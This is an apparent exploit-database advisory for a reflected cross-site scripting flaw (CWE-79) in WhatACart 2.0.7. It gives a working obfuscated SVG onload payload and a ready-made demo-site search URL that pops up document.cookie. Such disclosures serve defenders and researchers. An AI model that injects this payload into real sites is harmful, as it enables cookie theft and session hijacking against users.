WhatACart 2.0.7 Cross Site Scripting

2023.12.27
Credit: tmrswrr
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: WhatACart Version: 2.0.7 - Reflected XSS # Date: 2023-12-27 # Exploit Author: tmrswrr # Category : Webapps # Vendor Homepage: https://whatacart.com # Version: 2.0.7 # Tested on: https://whatacart.com/demo 1 ) Go to this page : https://demo.whatacart.com/ 2 ) Write search field this payload : <sVg/onLy=1 onLoaD=confirm(1)// 3 ) You will bee alert button : https://demo.whatacart.com/site/default/search?keyword=%3CsVg%2FonLy%3D1+onLoaD%3Dconfirm(document.cookie)%2F%2F&navsearch=


Vote for this issue:
50%
50%

Comment it here.

Copyright 2025, cxsecurity.com

 

Back to Top